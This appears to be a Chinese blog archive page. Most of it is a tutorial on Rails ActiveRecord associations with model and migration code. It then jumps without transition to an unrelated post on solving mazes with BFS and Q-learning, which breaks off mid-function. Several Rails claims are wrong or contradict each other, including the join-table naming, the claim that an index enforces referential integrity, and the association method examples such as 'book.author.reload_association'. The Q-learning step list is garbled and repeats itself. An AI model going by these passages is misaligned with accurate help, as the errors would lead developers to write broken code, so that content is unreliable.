2023年4月

The Types of Associations

在 Rails 中,可以通过 ActiveRecord 来定义不同类型的关联关系(Associations),包括以下几种:

  1. belongs_to:表示该模型
    belongs_to
    另一个模型,即该模型拥有一个外键(foreign key)指向另一个模型的主键(primary key),通常用于表示一对一或多对一的关系。

  2. has_one:表示该模型
    has_one
    另一个模型,即另一个模型拥有一个外键指向该模型的主键,通常用于表示一对一的关系。

  3. has_many:表示该模型
    has_many
    另一个模型,即另一个模型拥有一个外键指向该模型的主键,通常用于表示一对多的关系。

  4. has_many :through:表示通过中间模型建立多对多的关系,通常用于表示多对多的关系。

  5. has_one :through:表示通过中间模型建立一对一或多对一的关系。

  6. has_and_belongs_to_many:表示建立一个简单的多对多的关系,通常用于表示只有两个模型之间的多对多关系。

需要注意的是,这些关联关系需要在模型之间正确定义和设置,才能够正确地在应用程序中使用,并且需要考虑到关联关系的类型、方向、外键、中间模型等因素。正确地定义和使用关联关系,可以方便地查询和操作相关数据,并且可以避免出现不必要的代码和逻辑。

belongs_to

class CreateBooks < ActiveRecord::Migration[7.0]
  def change
    create_table :authors do |t|
      t.string :name
      t.timestamps
    end

    create_table :books do |t|
      t.belongs_to :author
      t.datetime :published_at
      t.timestamps
    end
  end
end

这是一个创建
authors

books
两个数据库表的迁移文件。
authors
表包含一个
name
字段和
created_at

updated_at
两个时间戳字段,
books
表包含一个
author_id
外键字段来关联
authors
表,一个
published_at
字段和
created_at

updated_at
两个时间戳字段。

在 Rails 中,迁移文件用于创建、修改和删除数据库表和字段。这个迁移文件中的
change
方法定义了如何创建
authors

books
两个表。在
create_table
块中,我们可以声明表中的字段和类型,以及其他选项,如外键关联等。在这个例子中,我们使用
belongs_to
方法来声明
books
表与
authors
表之间的关联关系。

当我们运行这个迁移文件时,Rails 将会执行
change
方法中的代码,并在数据库中创建
authors

books
两个表。同时,Rails 还会自动创建
author_id
外键索引,以确保
books
表中的每个行都关联到
authors
表中的一个行。

belongs_to
不能确保引用一致性,因此根据用例,您可能还需要在引用列上添加数据库级外键约束,如下所示:

create_table :books do |t|
  t.belongs_to :author, foreign_key: true
  # ...
end

has_one

当使用
has_one
方法时,一个模型将拥有另一个模型的一个实例作为其属性之一。这通常用于表示一对一关系,其中一个模型记录与另一个模型的关联,而另一个模型只有一个与之相关的记录。

以下是一个使用
has_one
方法的例子,假设有一个
User
模型和一个
Profile
模型,每个用户只有一个个人资料:

class User < ApplicationRecord
  has_one :profile
end

class Profile < ApplicationRecord
  belongs_to :user
end

在上面的代码中,
User
模型使用
has_one
方法声明了与
Profile
模型之间的关联关系,而
Profile
模型使用
belongs_to
方法声明了与
User
模型之间的关联关系。

在这个例子中,
User
模型将获得一个名为
profile
的属性,可以使用它来访问与用户相关联的个人资料。例如,可以使用
user.profile
来获取用户的个人资料。在
Profile
模型中,
user
属性将被用于访问与个人资料相关联的用户。

值得注意的是,在
has_one
方法中,默认情况下,Rails 将使用
user_id
字段作为外键来关联两个模型,因此在
Profile
模型中需要使用
belongs_to
方法来声明与
User
模型之间的关联关系。

has_one :through

has_one :through
是 Rails 中用于声明一对一关系的方法,它用于表示两个模型之间通过第三个关联模型建立的关系。这个方法通常用于表示一个模型与另一个模型之间的一对一关系,其中一个模型可以关联一个与之关联的记录,而每个关联记录只能关联一个与之关联的记录。

以下是一个使用
has_one :through
方法的例子,假设有一个
User
模型和一个
Profile
模型,它们之间通过
ProfileLink
模型建立关联,每个用户只能拥有一个个人资料:

class User < ApplicationRecord
  has_one :profile_link
  has_one :profile, through: :profile_link
end

class Profile < ApplicationRecord
  has_one :profile_link
  has_one :user, through: :profile_link
end

class ProfileLink < ApplicationRecord
  belongs_to :user
  belongs_to :profile
end

在上面的代码中,
User
模型和
Profile
模型都使用
has_one :through
方法声明了与
ProfileLink
模型之间的关联关系,而
ProfileLink
模型使用
belongs_to
方法声明了与
User
模型和
Profile
模型之间的关联关系。

在这个例子中,
User
模型将获得一个名为
profile
的属性,可以使用它来访问与用户相关联的个人资料。例如,可以使用
user.profile
来获取与用户相关联的个人资料。在
Profile
模型中,
user
属性将被用于访问与个人资料相关联的用户。

值得注意的是,在
has_one :through
方法中,需要指定通过哪个关联模型建立一对一关系,例如:
has_one :profile, through: :profile_link
表示
User
模型通过
ProfileLink
模型与
Profile
模型建立了一对一关系。

同时,在这个例子中,
ProfileLink
模型还可以添加其他属性,例如
status
表示用户的个人资料状态等,以便更好地描述关联关系。

has_many

has_many
是 Rails 中用于声明一对多关系的方法,它用于表示一个模型对象拥有多个其他模型对象的集合。这个方法通常用于表示一个模型与另一个模型之间的关联,其中一个模型可以拥有多个与之关联的记录。

以下是一个使用
has_many
方法的例子,假设有一个
User
模型和一个
Post
模型,每个用户可以拥有多篇文章:

class User < ApplicationRecord
  has_many :posts
end

class Post < ApplicationRecord
  belongs_to :user
end

在上面的代码中,
User
模型使用
has_many
方法声明了与
Post
模型之间的关联关系,而
Post
模型使用
belongs_to
方法声明了与
User
模型之间的关联关系。

在这个例子中,
User
模型将获得一个名为
posts
的属性,可以使用它来访问与用户相关联的所有文章。例如,可以使用
user.posts
来获取与用户相关联的所有文章。在
Post
模型中,
user
属性将被用于访问与文章相关联的用户。

值得注意的是,在
has_many
方法中,默认情况下,Rails 将使用
user_id
字段作为外键来关联两个模型,因此在
Post
模型中需要使用
belongs_to
方法来声明与
User
模型之间的关联关系。

has_many :through

has_many :through
是 Rails 中用于声明多对多关系的方法,它用于表示两个模型之间通过第三个关联模型建立的关系。这个方法通常用于表示一个模型与另一个模型之间的多对多关系,其中一个模型可以关联多个与之关联的记录,而每个关联记录都可以关联多个与之关联的记录。

以下是一个使用
has_many :through
方法的例子,假设有一个
User
模型和一个
Group
模型,它们之间通过
Membership
模型建立关联,每个用户可以属于多个组:

class User < ApplicationRecord
  has_many :memberships
  has_many :groups, through: :memberships
end

class Group < ApplicationRecord
  has_many :memberships
  has_many :users, through: :memberships
end

class Membership < ApplicationRecord
  belongs_to :user
  belongs_to :group
end

在上面的代码中,
User
模型和
Group
模型都使用
has_many :through
方法声明了与
Membership
模型之间的关联关系,而
Membership
模型使用
belongs_to
方法声明了与
User
模型和
Group
模型之间的关联关系。

在这个例子中,
User
模型将获得一个名为
groups
的属性,可以使用它来访问与用户相关联的所有组。例如,可以使用
user.groups
来获取与用户相关联的所有组。在
Group
模型中,
users
属性将被用于访问所有属于该组的用户。

值得注意的是,在
has_many :through
方法中,需要指定通过哪个关联模型建立多对多关系,例如:
has_many :groups, through: :memberships
表示
User
模型通过
Membership
模型与
Group
模型建立了多对多关系。

同时,在这个例子中,
Membership
模型还可以添加其他属性,例如
status
表示用户在组中的状态等,以便更好地描述关联关系。

has_many

has_many :through
都是 Rails 中用于建立关联关系的方法,但它们之间有一些区别。

has_many :through和has_many 区别

has_many
建立的是一对多的关联关系,其中一个模型对象拥有多个其他模型对象的集合。这个方法通常用于表示一个模型与另一个模型之间的关联,其中一个模型可以拥有多个与之关联的记录。例如,一个用户可以拥有多篇文章。

has_many :through
建立的是多对多的关联关系,其中两个模型之间通过第三个关联模型建立的关系。这个方法通常用于表示一个模型与另一个模型之间的多对多关系,其中一个模型可以关联多个与之关联的记录,而每个关联记录都可以关联多个与之关联的记录。例如,一个用户可以属于多个组,一个组也可以有多个用户。

因此,
has_many :through
更加灵活,可以用于建立更为复杂的关联关系。同时,
has_many :through
还可以在关联模型中添加其他属性,例如关联记录的状态等。

需要注意的是,在使用
has_many :through
方法建立多对多关联关系时,需要指定通过哪个关联模型建立多对多关系。而在使用
has_many
建立一对多关联关系时,则不需要指定。

The has_and_belongs_to_many Association

has_and_belongs_to_many
是 Rails 中用于声明多对多关系的另一种方法,与
has_many :through
不同的是,它不需要使用第三个关联模型来建立多对多关系。这个方法通常用于表示两个模型之间的多对多关系,其中一个模型可以关联多个与之关联的记录,而每个关联记录也可以关联多个与之关联的记录。

以下是一个使用
has_and_belongs_to_many
方法的例子,假设有一个
Book
模型和一个
Author
模型,它们之间建立了多对多关系:

class Book < ApplicationRecord
  has_and_belongs_to_many :authors
end

class Author < ApplicationRecord
  has_and_belongs_to_many :books
end

在上面的代码中,
Book
模型和
Author
模型都使用
has_and_belongs_to_many
方法声明了彼此之间的多对多关系。

在这个例子中,
Book
模型将获得一个名为
authors
的属性,可以使用它来访问与图书相关联的所有作者。例如,可以使用
book.authors
来获取与书籍相关联的作者列表。在
Author
模型中,
books
属性将被用于访问与作者相关联的所有书籍。

需要注意的是,在使用
has_and_belongs_to_many
方法建立多对多关联关系时,需要在数据库中创建一个中间表来存储关联关系。这个中间表的名称应该是两个模型名称的复数形式的字母排序后的连接,例如,在上面的例子中,中间表的名称应该是
authors_books

同时,使用
has_and_belongs_to_many
方法建立多对多关联关系时,不能在中间表中添加其他属性,因为它只是用于存储两个模型之间的关联关系。如果需要在关联关系中添加其他属性,应该使用
has_many :through
方法来建立多对多关系。

Choosing Between belongs_to and has_one

在 Rails 中,
belongs_to

has_one
是两种用于定义两个模型之间的一对一关系的方法。选择它们之间的方法取决于两个模型之间关系的性质。

当外键存储在声明关联的模型的表中时,使用
belongs_to
。例如,考虑一个
Car
模型,它属于一个
Manufacturer

class Car < ApplicationRecord
  belongs_to :manufacturer
end

class Manufacturer < ApplicationRecord
  has_many :cars
end

在这个例子中,
cars
表有一个外键
manufacturer_id
引用
manufacturers
表。由于外键存储在
cars
表中,我们在
Car
模型中使用
belongs_to
来定义关联。

另一方面,当外键存储在关联模型的表中时,使用
has_one
。例如,考虑一个
Person
模型,它有一个
Address

class Person < ApplicationRecord
  has_one :address
end

class Address < ApplicationRecord
  belongs_to :person
end

在这个例子中,
addresses
表有一个外键
person_id
引用
people
表。由于外键存储在
addresses
表中,我们在
Person
模型中使用
has_one
来定义关联。

一般来说,选择
belongs_to
还是
has_one
取决于外键存储的位置。如果它存储在声明关联的模型的表中,使用
belongs_to
。如果它存储在关联模型的表中,使用
has_one

Choosing Between has_many :through and has_and_belongs_to_many

在 Rails 中,
has_many :through

has_and_belongs_to_many
是两种用于定义多对多关系的方法。选择它们之间的方法取决于你是否需要在关联关系中存储其他属性。

has_many :through
允许你使用中间模型来连接两个模型,并且可以在中间模型中存储其他属性。这使得
has_many :through
更加灵活,适用于需要在关联关系中存储更多信息的情况。例如,考虑一个
Patient
模型和一个
Doctor
模型,它们之间需要建立多对多关系,而每个关联关系还需要存储一个
appointment_date
属性:

class Patient < ApplicationRecord
  has_many :appointments
  has_many :doctors, through: :appointments
end

class Doctor < ApplicationRecord
  has_many :appointments
  has_many :patients, through: :appointments
end

class Appointment < ApplicationRecord
  belongs_to :patient
  belongs_to :doctor
end

在上面的例子中,
Patient
模型和
Doctor
模型之间的多对多关系通过
Appointment
模型建立。
Appointment
模型中存储了
appointment_date
属性,表示预约时间。可以使用以下代码来访问与患者相关联的所有医生:

patient.doctors

has_and_belongs_to_many
允许你在两个模型之间建立简单的多对多关系,但不能在中间表中存储其他属性。因此,如果你不需要在关联关系中存储其他属性,可以使用
has_and_belongs_to_many
。例如,考虑一个
Student
模型和一个
Course
模型,它们之间需要建立多对多关系:

class Student < ApplicationRecord
  has_and_belongs_to_many :courses
end

class Course < ApplicationRecord
  has_and_belongs_to_many :students
end

在上面的例子中,
Student
模型和
Course
模型之间的多对多关系可以直接通过中间表建立,而不需要使用中间模型。

总之,如果你需要在关联关系中存储其他属性,应该使用
has_many :through
。如果不需要存储其他属性,则可以使用
has_and_belongs_to_many
来建立多对多关系。

Polymorphic Associations

在 Rails 中,多态关联(Polymorphic Associations)允许一个模型属于多个不同类型的其他模型,同时这些其他模型也可以有多个关联的模型。这种关联通常用于需要共享相同行为或属性的模型之间。

例如,考虑一个
Comment
模型,它可以属于多个其他模型(例如
Post

Photo
),同时这些其他模型也可以有多个评论:

class Comment < ApplicationRecord
  belongs_to :commentable, polymorphic: true
end

class Post < ApplicationRecord
  has_many :comments, as: :commentable
end

class Photo < ApplicationRecord
  has_many :comments, as: :commentable
end

在上面的例子中,
Comment
模型使用
belongs_to
方法声明了多态关联。
commentable
是一个多态关联字段,它可以属于任何其他模型。在
Post

Photo
模型中,使用
has_many
方法声明了多态关联关系,并使用
as
选项指定了多态关联字段的名称。

使用多态关联时,需要在数据库中创建一个
comments
表。这个表需要包含一个
commentable_type
字段和一个
commentable_id
字段,用于存储关联的模型。可以使用以下代码创建
comments
表:

rails generate migration CreateComments commentable:references{polymorphic}:index body:text

上面的代码将生成一个名为
CreateComments
的迁移文件,该文件将创建一个
comments
表,并添加一个
commentable_type
字段和一个
commentable_id
字段,同时还添加了一个
body
字段用于存储评论内容。

可以使用以下代码来访问与
Post
相关联的所有评论:

post.comments

可以使用以下代码来访问与
Photo
相关联的所有评论:

photo.comments

总之,多态关联允许一个模型属于多个不同类型的其他模型,并且这些其他模型也可以有多个关联的模型。这种关联通常用于需要共享相同行为或属性的模型之间。

Self Joins

Self Joins 是指在一个表中,通过外键关联自身的另一行数据。Self Joins 常用于需要建立层次结构的数据模型,例如组织结构、分类等。

在 Rails 中,可以通过在模型中使用
belongs_to

has_many
方法来实现 Self Joins。具体实现方式是,在模型中定义一个外键字段来引用自身的 ID,然后通过
belongs_to
方法声明自身与父级的关联,再通过
has_many
方法声明自身与子级的关联。

下面是一个简单的例子,假设有一个
Category
模型,每个分类可以有多个子分类,同时也可以属于一个父分类:

class Category < ApplicationRecord
  belongs_to :parent, class_name: 'Category', optional: true
  has_many :children, class_name: 'Category', foreign_key: 'parent_id'
end

上面的代码中,
Category
模型通过
belongs_to
方法声明与父级的关联,使用
class_name
选项指定关联的模型名称为
Category
,同时使用
optional: true
选项表示父级可以为空。通过
has_many
方法声明与子级的关联,使用
class_name
选项指定关联的模型名称为
Category
,使用
foreign_key
选项指定外键字段为
parent_id

在数据库中,需要创建一个
categories
表来存储分类。该表需要包含一个
parent_id
字段用于存储父级分类的 ID,可以使用以下代码创建
categories
表:

rails generate migration CreateCategories name:string parent:references

上面的代码将生成一个名为
CreateCategories
的迁移文件,该文件将创建一个
categories
表,并添加一个
name
字段用于存储分类名称,以及一个
parent_id
字段用于存储父级分类的ID。

可以使用以下代码来访问一个分类的父级:

category.parent

可以使用以下代码来访问一个分类的子级:

category.children

总之,Self Joins 允许在一个表中通过外键关联自身的另一行数据,常用于需要建立层次结构的数据模型。在 Rails 中,可以通过在模型中使用
belongs_to

has_many
方法来实现 Self Joins,通过定义一个外键字段来引用自身的 ID,然后声明自身与父级的关联和自身与子级的关联。

Tips, Tricks, and Warnings

Controlling Caching

# retrieves books from the database
author.books.load

# uses the cached copy of books
author.books.size

# uses the cached copy of books
author.books.empty?

这是关于 ActiveRecord 的代码示例,它展示了如何使用缓存来访问一个作者(author)的书籍(books)。

第一行代码
author.books.load
从数据库中检索作者的书籍,并将其存储在缓存中。这意味着在下一行代码和之后的代码中,将使用缓存中的书籍,而不是从数据库中再次检索它们。

第二行代码
author.books.size
返回缓存中作者的书籍数量,而不是从数据库中再次检索它们。这是因为在第一行代码中,
author.books.load
将书籍存储在缓存中,因此在下一行代码中,可以直接从缓存中获取书籍数量,而不需要从数据库中再次检索它们。

第三行代码
author.books.empty?
返回一个布尔值,指示缓存中作者的书籍是否为空。同样地,这是因为在第一行代码中,
author.books.load
将书籍存储在缓存中,因此在第三行代码中,可以直接从缓存中检查书籍是否为空,而不需要从数据库中再次检索它们。

这种使用缓存的方式可以帮助提高应用程序的性能,因为它避免了在每次访问对象时都需要从数据库中检索数据的开销。但是,需要注意的是,如果在缓存中的数据与数据库中的数据不同步,则可能会导致数据不一致。因此,在使用缓存时,需要仔细考虑如何更新缓存以确保数据的正确性。

Creating Foreign Keys for belongs_to Associations

在关系型数据库中,外键(Foreign Key)是一种用于建立表之间关联的技术。当一个表中的列引用另一个表的主键时,就会创建一个外键。在 Rails 中,通过使用
belongs_to
关联,可以轻松地创建外键。以下是一个实际的示例:

假设您正在构建一个博客应用程序,其中包含多个文章(Post)和多个评论(Comment)。每个评论都属于一个特定的文章,因此您需要在评论表中创建一个外键,以引用文章表中的主键。

首先,您需要在
Comment
模型中添加一个
belongs_to
关联:

class Comment < ApplicationRecord
  belongs_to :post
end

然后,您需要在评论表中添加一个名为
post_id
的整数列,用于存储文章的主键值。在 Rails 中,可以使用数据库迁移来添加此列:

rails generate migration AddPostIdToComments post:references

这将生成一个包含
add_reference
方法的迁移文件,该方法将在评论表中添加一个
post_id
列,并将其设置为引用文章表的主键。

最后,您需要运行迁移,以将更改应用于数据库:

rake db:migrate

现在,当您创建一个新评论时,Rails 将自动在评论表中设置正确的
post_id
值,以引用相应的文章。

例如,您可以通过以下代码将一条评论关联到一篇文章:

post = Post.first
post.comments.create(body: "Great post!")

这是一个示例代码,用于在 Rails 应用程序中创建新评论并将其与特定文章关联。

首先,
Post.first
获取文章表中的第一篇文章,并将其分配给变量
post
。然后,
post.comments.create
用于创建一个新评论,并将其与
post
变量中存储的文章关联起来。这是通过
has_many :comments
关联和
Comment
模型中的
belongs_to :post
关联实现的。

具体来说,
post.comments
返回一个关联对象,该对象允许您访问与特定文章相关联的所有评论。然后,
create
方法用于创建一个新评论,并将其与
post
关联起来。在本例中,新评论的
body
属性设置为
"Great post!"

最后,新评论将被保存到数据库中,并且在
comments
表中将包含一个新行,其中包含评论的内容和与之相关联的文章的主键值。

这是一个典型的 Rails 应用程序中的代码示例,用于演示如何使用关联模型和创建新对象。

Creating Join Tables for has_and_belongs_to_many Associations

在 Rails 中,
has_and_belongs_to_many
(HABTM)关联用于建立多对多的关系。在关系型数据库中,通常需要使用一个中间表来存储这种关联,这个中间表被称为“联接表”(Join Table)。

创建联接表的步骤如下:

  1. 创建一个名为
    table1_table2
    的表,其中
    table1

    table2
    分别是要关联的两个表的名称。例如,如果您想要关联
    users

    groups
    表,则可以创建一个名为
    users_groups
    的联接表。

  2. 添加两个整数列,分别用于存储关联表的主键。这些列通常被命名为
    table1_id

    table2_id
    ,例如
    user_id

    group_id


  3. table1

    table2
    中的模型文件中添加
    has_and_belongs_to_many
    关联。例如,在
    User
    模型中,您可以这样添加一个
    has_and_belongs_to_many
    关联:

class User < ApplicationRecord
  has_and_belongs_to_many :groups
end

这将指示 Rails 通过
users_groups
表将
users

groups
表关联起来。

以下是一个实际的示例:

假设您正在构建一个社交网络应用程序,其中用户(User)可以加入多个组(Group),而每个组也可以有多个用户。为了实现这种多对多关系,您需要创建一个联接表。

首先,您可以使用以下命令创建一个名为
groups_users
的联接表:

rails generate migration CreateGroupsUsers

然后,您可以使用以下代码向迁移文件中添加表的定义:

class CreateGroupsUsers < ActiveRecord::Migration[6.1]
  def change
    create_table :groups_users, id: false do |t|
      t.references :group, null: false, foreign_key: true
      t.references :user, null: false, foreign_key: true
    end
  end
end

这将创建一个名为
groups_users
的联接表,并添加
group_id

user_id
两个整数列,用于存储关联表的主键。

最后,您可以向
User

Group
模型中添加
has_and_belongs_to_many
关联,以指示它们之间的多对多关系:

class User < ApplicationRecord
  has_and_belongs_to_many :groups
end

class Group < ApplicationRecord
  has_and_belongs_to_many :users
end

现在,您可以使用
<<
运算符向用户添加组,例如:

user = User.first
group = Group.first
user.groups << group

这将将
user

group
关联起来,并在
groups_users
表中添加一个新行,其中包含
user_id

group_id
的值。

通过使用
has_and_belongs_to_many
关联和联接表,您可以轻松地建立多对多关系,并在 Rails 应用程序中保存和检索相关数据。

Controlling Association Scope

在 Rails 中,可以使用
scope
方法来控制关联模型的查询范围。这可以帮助您过滤不必要的数据,以提高应用程序的性能和可维护性。

例如,假设您正在构建一个电子商务应用程序,其中订单(Order)有多个订单项(OrderItem),并且每个订单项都属于一个特定的产品(Product)。现在,您想要检索某个产品的所有订单项。

首先,您可以在
Product
模型中添加一个
has_many
关联,以指示每个产品都有多个订单项:

class Product < ApplicationRecord
  has_many :order_items
end

然后,您可以使用
scope
方法来指定只检索与特定产品相关联的订单项:

class OrderItem < ApplicationRecord
  belongs_to :product
  scope :for_product, -> (product) { where(product_id: product.id) }
end

这将创建一个名为
for_product
的作用域,它接受一个产品对象作为参数,并返回与该产品相关联的所有订单项。

现在,您可以在控制器或视图中使用
for_product
作用域来检索与特定产品相关联的所有订单项。例如,假设您正在显示某个产品的详细信息,并想要列出所有相关的订单项:

def show
  @product = Product.find(params[:id])
  @order_items = OrderItem.for_product(@product)
end

这将检索与
@product
相关联的所有订单项,并将它们分配给
@order_items
变量。由于使用了作用域,查询将仅返回与特定产品相关联的订单项,而不是所有订单项,从而提高了查询的性能和可维护性。

通过使用作用域方法,您可以轻松地控制关联模型的查询范围,并过滤不必要的数据,以提高应用程序的性能和可维护性。

Bi-directional Associations

在 Rails 中,双向关联(Bi-directional Associations)是指两个关联模型之间的相互关系,其中每个模型都可以访问另一个模型。这可以通过在两个模型中都定义关联来实现。

例如,假设您正在构建一个博客应用程序,其中文章(Post)可以有多个标签(Tag),而每个标签也可以与多篇文章相关联。为了实现这种双向关联,您可以在
Post

Tag
模型中都定义一个关联。

首先,您可以在
Post
模型中添加一个
has_and_belongs_to_many
关联,以指示每篇文章都可以有多个标签:

class Post < ApplicationRecord
  has_and_belongs_to_many :tags
end

然后,您可以在
Tag
模型中添加一个相反的
has_and_belongs_to_many
关联,以指示每个标签也可以与多篇文章相关联:

class Tag < ApplicationRecord
  has_and_belongs_to_many :posts
end

现在,您可以在控制器或视图中使用这些关联来访问相互关联的模型。例如,假设您想要列出所有带有特定标签的文章:

def index
  @tag = Tag.find(params[:tag_id])
  @posts = @tag.posts
end

这将检索与
@tag
相关联的所有文章,并将它们分配给
@posts
变量。由于使用了双向关联,您可以通过
@tag.posts
访问所有相关的文章,也可以通过
@post.tags
访问所有相关的标签。

双向关联使得在两个关联模型之间进行导航变得非常容易。通过在每个模型中都定义关联,您可以轻松地访问相互关联的数据,并简化代码的编写和维护。

Detailed Association Reference

belongs_to Association Reference

这些方法都是 ActiveRecord 中用于操作关联关系的方法,主要用于设置、创建、检索和重新加载关联对象。下面是这些方法的解释:

  • association
    :获取关联对象。例如,如果
    Book
    模型与
    Author
    模型存在
    belongs_to
    关联关系,则可以使用
    book.author
    获取与该书籍关联的作者对象。

  • association=(associate)
    :设置关联对象。例如,如果
    Book
    模型与
    Author
    模型存在
    belongs_to
    关联关系,则可以使用
    book.author = author

    book
    对象与特定的
    author
    对象关联起来。

  • build_association(attributes = {})
    :创建一个新的关联对象,并将其与当前对象关联起来。例如,如果
    Book
    模型与
    Author
    模型存在
    has_one
    关联关系,则可以使用
    book.build_author(author_name: "John Doe")
    创建一个新的
    Author
    对象,并将其与
    book
    对象关联起来。

  • create_association(attributes = {})
    :创建一个新的关联对象,并将其与当前对象关联起来,然后将其保存到数据库中。例如,如果
    Book
    模型与
    Author
    模型存在
    has_many
    关联关系,则可以使用
    book.authors.create(author_name: "John Doe")
    创建一个新的
    Author
    对象,并将其与
    book
    对象关联起来,然后将其保存到数据库中。

  • create_association!(attributes = {})
    :与
    create_association
    方法类似,但是如果创建失败(例如,因为验证失败),则会引发异常。

  • reload_association
    :重新加载关联对象,并将其与数据库中的最新数据同步。例如,如果您对关联对象进行了更改,并希望检索最新版本,则可以使用
    book.author.reload_association
    重新加载与该书籍关联的作者对象。

  • association_changed?
    :检查关联对象是否已更改。例如,如果您更改了与
    book
    对象关联的
    author
    对象,则可以使用
    book.author_changed?
    检查是否更改了该对象。

  • association_previously_changed?
    :检查关联对象在上一次保存时是否已更改。例如,如果您想知道与
    book
    对象关联的
    author
    对象在上一次保存时是否已更改,则可以使用
    book.author_previously_changed?
    检查。

强化学习是一种机器学习方法,旨在通过智能体在与环境交互的过程中不断优化其行动策略来实现特定目标。与其他机器学习方法不同,强化学习涉及到智能体对环境的观测、选择行动并接收奖励或惩罚。因此,强化学习适用于那些需要自主决策的复杂问题,比如游戏、机器人控制、自动驾驶等。强化学习可以分为基于价值的方法和基于策略的方法。基于价值的方法关注于寻找最优的行动价值函数,而基于策略的方法则直接寻找最优的策略。强化学习在近年来取得了很多突破,比如 AlphaGo 在围棋中战胜世界冠军。

强化学习的重要概念:

  1. 环境:其主体被嵌入并能够感知和行动的外部系统
  2. 主体:动作的行使者
  3. 状态:主体的处境
  4. 动作:主体执行的动作
  5. 奖励:衡量主体动作成功与否的反馈

问题描述

给定一个N*N矩阵,其中仅有-1、0、1组成该矩阵,-1表示障碍,0表示路,1表示终点和起点:

# 生成迷宫图像
def generate_maze(size):
    maze = np.zeros((size, size))
    # Start and end points
    start = (random.randint(0, size-1), 0)
    end = (random.randint(0, size-1), size-1)
    maze[start] = 1
    maze[end] = 1
    # Generate maze walls
    for i in range(size*size):
        x, y = random.randint(0, size-1), random.randint(0, size-1)
        if (x, y) == start or (x, y) == end:
            continue
        if random.random() < 0.2:
            maze[x, y] = -1
        if np.sum(np.abs(maze)) == size*size - 2:
            break
    return maze, start, end

上述函数返回一个numpy数组类型的迷宫,起点和终点

生成迷宫图像:

使用BFS进行寻路:

# BFS求出路径
def solve_maze(maze, start, end):
    size = maze.shape[0]
    visited = np.zeros((size, size))
    solve = np.zeros((size,size))
    queue = [start]
    visited[start[0],start[1]] = 1
    while queue:
        x, y = queue.pop(0)
        if (x, y) == end:
            break
        for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:
            nx, ny = x + dx, y + dy
            if nx < 0 or nx >= size or ny < 0 or ny >= size or visited[nx, ny] or maze[nx, ny] == -1:
                continue
            queue.append((nx, ny))
            visited[nx, ny] = visited[x, y] + 1
    if visited[end[0],end[1]] == 0:
        return solve,[]
    path = [end]
    x, y = end
    while (x, y) != start:
        for dx, dy in [(0, 1), (0, -1), (1, 0), (-1, 0)]:
            nx, ny = x + dx, y + dy
            if nx < 0 or nx >= size or ny < 0 or ny >= size or visited[nx, ny] != visited[x, y] - 1:
                continue
            path.append((nx, ny))
            x, y = nx, ny
            break

    points = path[::-1]  # 倒序
    for point in points:
        solve[point[0]][point[1]] = 1
    return solve, points

上述函数返回一个numpy数组,和点组成的路径,图像如下:

BFS获得的解毫无疑问是最优解,现在使用强化学习的方法来解决该问题(QLearning、DQN)

QLearning

该算法核心原理是Q-Table,其行和列表示State和Action的值,Q-Table的值Q(s,a)是衡量当前States采取行动a的重要依据

具体步骤如下:

  1. 初始化Q表
  2. 执行以下循环:
    1. 初始化一个Q表格,Q表格的行表示状态,列表示动作,Q值表示某个状态下采取某个动作的价值估计。初始时,Q值可以设置为0或随机值。
    2. 针对每个时刻,根据当前状态s,选择一个动作a。可以根据当前状态的Q值和某种策略(如贪心策略)来选择动作。
    3. 执行选择的动作a,得到下一个状态s'和相应的奖励r$
    4. 基于下一个状态s',更新Q值。Q值的更新方式为:
      1. 初始化一个状态s。
      2. 根据当前状态s和Q表中的Q值,选择一个动作a。可以通过epsilon-greedy策略来进行选择,即有一定的概率随机选择动作,以便于探索新的状态,否则就选择Q值最大的动作。
      3. 执行选择的动作a,得到下一个状态s'和奖励r。
      4. 根据s'和Q表中的Q值,计算出最大Q值maxQ。
      5. 根据Q-learning的更新公式,更新Q值:Q(s, a) = Q(s, a) + alpha * (r + gamma * maxQ - Q(s, a)),其中alpha是学习率,gamma是折扣因子。
      6. 将当前状态更新为下一个状态:s = s'。
      7. 如果当前状态为终止状态,则转到步骤1;否则转到步骤2。
      8. 重复执行步骤1-7直到收敛,即Q值不再发生变化或者达到预定的最大迭代次数。最终得到的Q表中的Q值就是最优的策略。
    5. 重复执行2-4步骤,直到到达终止状态,或者达到预设的最大步数。
    6. 不断执行1-5步骤,直到Q值收敛。
    7. 在Q表格中根据最大Q值,选择一个最优的策略。

代码实现

实现QLearningAgent类:

class QLearningAgent:
    def __init__(self,actions,size):
        self.actions = actions
        self.learning_rate = 0.01
        self.discount_factor = 0.9
        self.epsilon = 0.1  # 贪婪策略取值
        self.num_actions = len(actions)

        # 初始化Q-Table
        self.q_table = np.zeros((size,size,self.num_actions))

    def learn(self,state,action,reward,next_state):
        current_q = self.q_table[state][action]  # 从Q-Table中获取当前Q值
        new_q = reward + self.discount_factor * max(self.q_table[next_state])  # 计算新Q值
        self.q_table[state][action] += self.learning_rate * (new_q - current_q) # 更新Q表

    # 获取动作
    def get_action(self,state):
        if np.random.rand() < self.epsilon:
            action = np.random.choice(self.actions)
        else:
            state_action = self.q_table[state]
            action = self.argmax(state_action)
        return action

    @staticmethod
    def argmax(state_action):
        max_index_list = []
        max_value = state_action[0]
        for index,value in enumerate(state_action):
            if value > max_value:
                max_index_list.clear()
                max_value = value
                max_index_list.append(index)
            elif value == max_value:
                max_index_list.append(index)
        return random.choice(max_index_list)

类的初始化:

def __init__(self,actions,size):
    self.actions = actions
    self.learning_rate = 0.01
    self.discount_factor = 0.9
    self.epsilon = 0.1  # 贪婪策略取值
    self.num_actions = len(actions)

    # 初始化Q-Table
    self.q_table = np.zeros((size,size,self.num_actions))

上述代码中,先初始化动作空间,设置学习率,discount_factor是折扣因子,epsilon是贪婪策略去值,num_actions是动作数

def learn(self,state,action,reward,next_state):
    current_q = self.q_table[state][action]  # 从Q-Table中获取当前Q值
    new_q = reward + self.discount_factor * max(self.q_table[next_state])  # 计算新Q值
    self.q_table[state][action] += self.learning_rate * (new_q - current_q) # 更新Q表

该方法是QLearning的核心流程,给定当前状态、动作、赏罚和下一状态更新Q表

# 获取动作
def get_action(self,state):
    if np.random.rand() < self.epsilon:
        # 贪婪策略 随机选取动作
        action = np.random.choice(self.actions)
    else:
        # 从Q-Table中选择
        state_action = self.q_table[state]
        action = self.argmax(state_action)
    return action

该方法首先使用贪婪策略来决定是随机选择一个动作,还是选择 Q-Table 中当前状态对应的最大 Q 值对应的动作

@staticmethod
def argmax(state_action):
    max_index_list = []
    max_value = state_action[0]
    for index,value in enumerate(state_action):
        if value > max_value:
            max_index_list.clear()
            max_value = value
            max_index_list.append(index)
        elif value == max_value:
